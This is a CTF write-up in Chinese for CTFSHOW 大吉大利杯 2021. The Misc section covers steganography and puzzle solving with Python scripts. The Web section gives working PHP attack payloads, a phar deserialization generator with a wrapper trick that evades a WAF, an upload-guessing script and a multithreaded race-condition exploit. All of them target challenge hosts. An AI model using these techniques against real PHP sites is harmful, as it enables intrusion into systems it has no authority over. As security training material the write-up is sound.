CTFSHOW 大吉大利杯 2021
Misc
拼图v2.0
朴实无华的拼图,唯一不同的是 favicon.png
提供了原图,同时因为图片需要旋转,所以 gaps 行不通了。
这里首先使用 Chrome 插件 Resources Saver 下载所有的图片,然后写脚本拼图。因为原图已经给出,所以将原图按照题目的方式切片即得到了拼图的模板。剩下要做的就是将拼图与原图的切片一一对应然后拼合。这里采用了采样的办法,每个切片取九个采样点,然后根据其匹配的顺序将切片进行旋转,全部完成之后拼合即得到 flag。
def NinePointSamplingAnalyze(image):
width, height = image.size
imgObject = image.convert("RGB")
pixels = imgObject.load()
samplings = []
for i in range(3):
for j in range(3):
samplePixel = pixels[(width - 1) if j == 2 else (width // 2) * j, (height - 1) if i == 2 else (height // 2) * i]
samplings.append(samplePixel)
image.close()
return samplings
def SamplingMatch(modelSample, sample):
flag = 0
for i in range(9):
if sample[i] == modelSample["sample"][i]:
flag += 1
return flag
def SamplingBestRotate(modelSample, sample):
flags = []
for i in range(4):
flags.append(SamplingMatch(modelSample, sample))
sample = SamplingRotate(sample)
return max(flags), flags.index(max(flags)) * (-90)
def SamplingRotate(sample):
newSamplings = []
index = [6, 3, 0, 7, 4, 1, 8, 5, 2]
for i in range(9):
newSamplings.append(sample[index[i]])
return newSamplings
def SamplingBestSolve(modelSamplings, sample):
flags = []
degrees = []
for i in range(len(modelSamplings)):
flag, degree = SamplingBestRotate(modelSamplings[i], sample)
flags.append(flag)
degrees.append(degree)
return max(flags), flags.index(max(flags)), degrees[flags.index(max(flags))]
flag{f4864ce0-18d6-4e45-bb51-08a9d47de97f}
AA86
根据题目描述 大约在16位操作系统还能跑的年代
,搜索可以找到如下信息。
于是掏出学汇编的时候用的 DOSBOX 执行一波,得到了 flag。
flag{https://utf-8.jp/public/sas/index.html}
碑寺六十四卦
将图片反色后用 stegsolve 解出 LSB 隐写,得到一张 PNG。
将文件头处理好后打开,得到一张与碑上的卦对应的图。
然后将图上每一个对应八卦图和六十四卦速查得到如下内容。
晋 噬嗑 井 复 谦 丰
渐 大过 睽 巽 无妄 屯
中孚 观 归妹 革 坎 颐
革 明夷 否 泰 明夷
按照图上的数字解出即为 5 37 26 32 8 44 11 30 53 27 39 34 51 3 52 46 18 33 46 40 7 56 40
,将其对应 Base64 编码表解出 FlagIsLe1bnizD0uShuoH4o
。
flag{Le1bnizD0uShuoH4o}
牛年大吉
vhd 文件,挂载发现提示格式化,于是打开 WinHex 读取。发现引导扇区被擦除了,同时有 ?lag.7z
和 牛年大吉.jpg
两个文件。根据提示压缩包密码在图片文件头里可知密码为 89504E47
,解压可得 flag。
flag{CTFshow_The_Year_of_the_Ox}
请问大吉杯的签到是在这里签吗
将图片套娃 foremost 之后得到四张二维码,扫出来如下内容。
- 请问DJB CTF比赛的签到处在什么地方?
- 好像没有岔路了,一直往前走试试看
- 好像没有岔路了,一直往前走试试看
- 咦,这是死胡同,是不是哪里走错路了
于是回到第二张,尝试使用 StegSolve 看隐写,得到如下图片。
根据猪圈密码解密表,解得内容为 FLAGDAJIADOAIDJB
。
flag{dajiadoaidjb}
十八般兵器
使用压缩文档备注2021牛年大吉解压后得到一个文本文档和十八张兵器的图。图是 jpg 的 JPHS 隐写,分别提取出来之后发现每段文本后面有几个数字,将其按照文本文档中兵器的顺序 刀、枪、剑、戟、斧、钺、钩、叉、鞭、锏、锤、戈、镋、棍、槊、棒、矛、耙
分类拼接,得到如下两端。
136143999223163525817639797858700963935
3044053720460556276610613346353724230575
分别使用十进制转十六进制和八进制转十六进制处理后拼接。
666c61677b43544673686f775f31305f62415f42616e5f62316e675f51317d
From Hex
解得 flag。
flag{CTFshow_10_bA_Ban_b1ng_Q1}
色图生成器
解压文件后可得到一张图片和一个写满颜色的文本文档。将图片处理一下,只留下有小长方块的部分。
然后将其中的像素值读出来,每个小长方块记录一次。
from PIL import Image
image = Image.open("extracted.png").convert("RGB")
extractedFile = open("extracted.txt", "w")
width, height = image.size
widthPiece = width // 5
heightPiece = height // 20
for x in range(heightPiece):
for y in range(widthPiece):
pixel = image.getpixel((5 * y, 20 * x))
colorByte = str((pixel[0] if pixel[0] != 0 else pixel[1] if pixel[1] != 0 else pixel[2]))
extractedFile.write("{} ".format(colorByte))
print("[+] Written {}".format(colorByte))
extractedFile.close()
将所得的内容经过 From Decimal
解码之后可以得到一个 rar 压缩文档。
将 rar 压缩文档解压可得一张图片。010 editor 打开图片可发现文件尾部有 zip 压缩文档,将其提取出来。使用 Cloakify 的解密工具,第一步得到的文本文档的内容作为 key 解密 rar 压缩文档的注释内容。
得到提取出来的 zip 压缩包的密码 D3arD4La0P1e45eD4iDa1Wo
。解压提取出来的 zip 压缩文档之后可以得到一个 .pyc 文件。将其使用在线反编译工具反编译之后可以得到如下代码。
#! /usr/bin/env python 3.7 (3394)
# Compiled at: 1969-12-31 18:00:00
#Powered by BugScaner
from PIL import Image
import re, hashlib, random
flag = 'flag{jiu_bu_gao_su_ni}'
if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
m = hashlib.md5()
m.update(flag.encode('ascii'))
m = m.hexdigest()
col = []
for i in range(0, 24, 2):
tmp = int(m[i:i + 2], 16)
tmp += random.randint(-5, 5)
col += [tmp]
img = Image.new('RGB', (1024, 512))
for i in range(4):
timg = Image.new('RGB', (256, 512), tuple(col[i * 3:i * 3 + 3]))
img.paste(timg, (i * 256, 0))
img.save('C:/Users/Administrator/Desktop/setu.png')
结合前面得到的图片可知 flag 的格式,尝试写脚本爆破 flag。
import re
import hashlib
colors = [139, 102, 162, 24, 85, 57, 160, 37, 239, 200, 154, 30]
for i in range(48, 125):
for j in range(48, 125):
for k in range(48, 125):
for n in range(48, 125):
flag = "flag{D" + chr(i) + chr(j) + chr(k) + chr(n) + "}"
if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
m = hashlib.md5()
m.update(flag.encode('ascii'))
m = m.hexdigest()
runCount = 0
for x in range(0, 24, 2):
color = colors[runCount]
tmp = int(m[x:x + 2], 16)
if -5 < (tmp - color) < 5:
runCount += 1
continue
elif x == 22: # 23 - 1
print(flag)
exit(0)
else:
break
运行脚本可以得到 flag。
flag{D4n1U}
童话镇
将文件分离解压之后得到训练集和 flag,从网上找了一段 KNN 的算法稍微修改一下即可算出 flag 的标签。
# coding:utf-8
from numpy import *
##给出训练数据以及对应的类别
def createDataSet():
groups = []
labels = []
for line in open("t.txt"):
group = []
label = line[0]
line = line[2:]
line = line.lstrip("[").rstrip("]\n").split(",")
for x in line:
group.append(int(x))
groups.append(group)
labels.append(label)
print(groups)
return array(groups), labels
###通过KNN进行分类
def classify(input, dataSet, label, k):
dataSize = dataSet.shape[0]
####计算欧式距离
diff = tile(input, (dataSize, 1)) - dataSet
sqdiff = diff ** 2
squareDist = sum(sqdiff, axis=1) ###行向量分别相加,从而得到新的一个行向量
dist = squareDist ** 0.5
##对距离进行排序
sortedDistIndex = argsort(dist) ##argsort()根据元素的值从大到小对元素进行排序,返回下标
classCount = {}
for i in range(k):
voteLabel = label[sortedDistIndex[i]]
###对选取的K个样本所属的类别个数进行统计
classCount[voteLabel] = classCount.get(voteLabel, 0) + 1
###选取出现的类别次数最多的类别
maxCount = 0
for key, value in classCount.items():
if value > maxCount:
maxCount = value
classes = key
return classes
dataSet, labels = createDataSet()
inputs = []
for line in open("flag.txt"):
input = []
line = line.lstrip("[").rstrip("]\n").split(",")
for x in line:
input.append(int(x))
inputs.append(input)
file = open("KNNresulta.txt", "w")
for input in inputs:
output = classify(array(input), dataSet, labels, 2)
file.write(output)
print(output)
file.close()
通过标签数量可以确定图片的尺寸,写脚本求出标签数量的约数。
for x in range(3, 78289 // 2 + 1):
if 78289 % x == 0:
print("[*] Found number {}".format(x))
很容易得出图片尺寸为 79x991。将标签转换为像素从而构建图片。
from PIL import Image
flagFile = open("KNNresulta.txt", "r")
flagStream = flagFile.read().rstrip("\n")
image = Image.new("RGB", (79, 991))
for i in range(79):
for j in range(991):
pixel = (255, 255, 255) if int(flagStream[i * 991 + j]) else (0, 0, 0)
image.putpixel((i, j), pixel)
image = image.transpose(Image.FLIP_TOP_BOTTOM)
image.save("result.png")
将得到的图片顺时针旋转 90° 可得到如下图片。
flag{67373永生_举报狗必须死}
Web
veryphp
代码审计题目,给出的源代码如下。
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}
先想办法拿到 hint,才能再去构造 $SecretNumber
。因此先对着正则工具构造一串合理的字符串使之能到 echo $hint;
处。
接下来就是 extract($_POST);
设置的变量为 shaw_root
,但是在 POST 的字符串中下划线被正则挡住了,因此使用空格来代替。写出这一部分的 payload,得到 hint。
shaw root=-a9<b>aaaaaaaaaa>>>>aabcp@Rsa
Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
于是写个脚本跑一下这个 $SecretNumber
,得到结果是 21475。
<?php
for ($i = 0; $i < 99999; $i++) {
$num = sprintf("%05d", $i);
$str = "shaw" . ($num) . "root";
$md5Str = md5($str);
if ($md5Str == "166b47a5cb1ca2431a0edfcef200684f") {
echo "Found: " . $num . PHP_EOL;
break;
} else {
echo "Trying: " . $num . " as " . $md5Str . PHP_EOL;
}
}
拿到 Congratulation 之后就是要想办法到达 show_source("config.php")
处。因为 oao()
是个静态方法,所以直接传入 qwq::oao
就能被 call_user_func($my_ans)
调用到。因此最后的 payload 如下。
shaw root=-a9<b>aaaaaaaaaa>>>>aabcp@Rsa&ans=21475&my ans=qwq::oao
flag{d66c779bdd97750eb2b0a6a34384b901}
spaceman
反序列化的代码审计,给出的代码如下。
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
public function __wakeup()
{
if($this->password==='ctfshowvip')
{
include("flag.php");
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>
可以发现给出了一个两个字符长边短的反序列化字符逃逸。但是跟到下面可以发现 $pass_word
其实是可控的。因此只需要构造如下 POST 参数就行。
user[name=lemonprefect&pass[word=ctfshowvip
ctfshow{661aa8e7-658d-4615-bec6-0479b2af71f1}
有手就行
传入 GET 参数 .../?file=flag
,即可在源码种发现一张小程序码的图片的 base64 字符串,将其解码后可得如下图片。
扫描之后可以发现是一个爬楼的小游戏,得爬到 54429731 层才能拿到 flag。可以反编译小程序来拿到 flag。
插曲:Hyper-V 会导致 VT-x 无法被 Android 虚拟机使用。只需要暂时停用 Hyper-V 再重启即可。
bcdedit /set hypervisorlaunchtype off ;停用 bcdedit /set hypervisorlaunchtype Auto ;恢复
注意:一旦停用了 Hyper-V 可能需要重新勾选 Hyper-V 的 Windows 功能才能恢复。
将微信小程序的程序包从 /data/data/com.tencent.mm/MicroMsg/bf10a35efc5fc9b37707a65b7f678057/appbrand/pkg
下取出。使用 wuWxapkg.js
将其反编译后在生成的目录的 pages/index
下可以找到 index.js。将其打开可以发现其中记录着如下内容。
decode: function(a) {
return "flag{hahahawxunapk}";
}
flag{hahahawxunapk}
虎山行
在 ../mc-admin/page-edit.php
页面下发现任意文件包含漏洞,但是读取不到 flag。
访问上面给出的新路由,得到如下源码。
<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
public $ctfer = 'shower';
public function __destruct(){
system('cp /hint* /var/www/html/hint.txt');
}
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>
同时在管理面板下可以看到一个很显眼的上传点,路由是 ../upload.php
。使用上述的文件包含读取出如下源码。
<?php
error_reporting(0);
// 允许上传的图片后缀
$allowedExts = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
// echo $_FILES["file"]["size"];
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 2048000) // 小于 2000kb
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "文件出错: " . $_FILES["file"]["error"] . "<br>";
}
else
{
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
$md5_unix_random =substr(md5(time()),0,8);
$filename = $md5_unix_random.'.'.$extension;
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
echo "上传成功,文件存在upload/";
}
}
}
else
{
echo "文件类型仅支持jpg、png、gif等图片格式";
}
?>
可以发现上传后无法得知文件名,而且只能上传图片,因此需要想办法绕过上传限制且触发到 Ctfshow
的反序列化从而拿到下一步的 hint。使用 ../../../ctfshowsecretfilehh/waf.php
可以包含到 waf 的内容。
<?php
function waf($file){
if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
die("姿势太简单啦,来一点骚的?!");
}else{
return $file;
}
查阅了资料之后发现 phar 的利用姿势中有 zlib:phar://
正好没被这个正则过滤到。使用如下的代码来生成一个 phar 包。
<?php
class Ctfshow{
public $ctfer = 'shower';
}
$phar = new Phar("trigger.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$object = new Ctfshow();
$phar->setMetadata($object);
$phar->addFromString("exp.txt","actuallyNothingHere");
$phar->stopBuffering();
因为这里没给文件名,所以需要写个脚本去上传,这样才能将时间戳范围确定从而找到正确的文件名用于文件包含。
import hashlib
import requests
import time
ENV = "http://e2c57b3b-c22d-4267-bef2-8e47e9b13b4e.chall.ctf.show/"
def composeUrl(timeNow):
return "{}upload/{}.gif".format(ENV, (hashlib.md5(str(int(timeNow)).encode()).hexdigest())[:8])
while True:
url = "{}upload.php".format(ENV)
file = {
'file': ('exp.gif', open("trigger.gif", 'rb'), "image/gif")
}
response = requests.post(url=url, files=file)
now = time.time()
nowUrl = composeUrl(now - 1)
accessResponse = requests.get(nowUrl)
print("[+] Trying with url {}".format(nowUrl))
if("install.php" not in accessResponse.text):
print("[*] Found! {}".format(nowUrl))
exit()
else:
time.sleep(0.2)
运行上述脚本可以得出一个可以成功包含上传文件的链接。
http://e2c57b3b-c22d-4267-bef2-8e47e9b13b4e.chall.ctf.show/upload/21116d8b.gif
访问 .../hint.txt
可以得到如下信息。
flag{fuckflag***}flag also not here You can access ctfshowgetflaghhhh directory
访问 .../ctfshowgetflaghhhh
可以获得如下源码。
<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
public $username='Firebasky';
public $password;
function __destruct() {
if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
system('cp /ctfshow* /var/www/html/flag.txt');
}
}
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');
这里有一点小 trick,(int)md5(time())
有很大的机会取到 0,所以这里在反序列化中假定其为 0 可以更方便地构造。使用多线程脚本进行条件竞争,这样才能读到 flag。
import requests
import threading
ENV = "http://2acf732a-6d3b-4c16-b9f2-532ae48ca97e.chall.ctf.show/"
def Unserialization():
print("[+] Unserialization thread lanched")
while True:
param = {
"unser": 'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}'
}
requests.get(url="{}ctfshowgetflaghhhh".format(ENV),params=param)
def GetFlag():
print("[+] Get flag thread lanched")
while True:
response = requests.get(url="{}flag.txt".format(ENV))
if("install.php" not in response.text):
print("[*] Found flag in {}".format(response.content.decode("UTF-8")))
event.clear()
else:
print("[!] Get flag thread retry")
event = threading.Event()
for i in range(20):
threading.Thread(target=Unserialization, args=()).start()
threading.Thread(target=GetFlag, args=()).start()
运行可以得到 flag。
ctfshow{229c1b86-f183-4520-8792-1e78448dad62}
虎山行's revenge
跟虎山行相比,目录有所变更。
- ctfshowsecretfilehh
+ hsxhsxhsxctfshowsecretfilel
- ctfshowgetflaghhhh
+ hsxctfshowsecretgetflagl
ctfshow{5a01f428-4ffa-44bc-aab5-571d5ebbfaa6}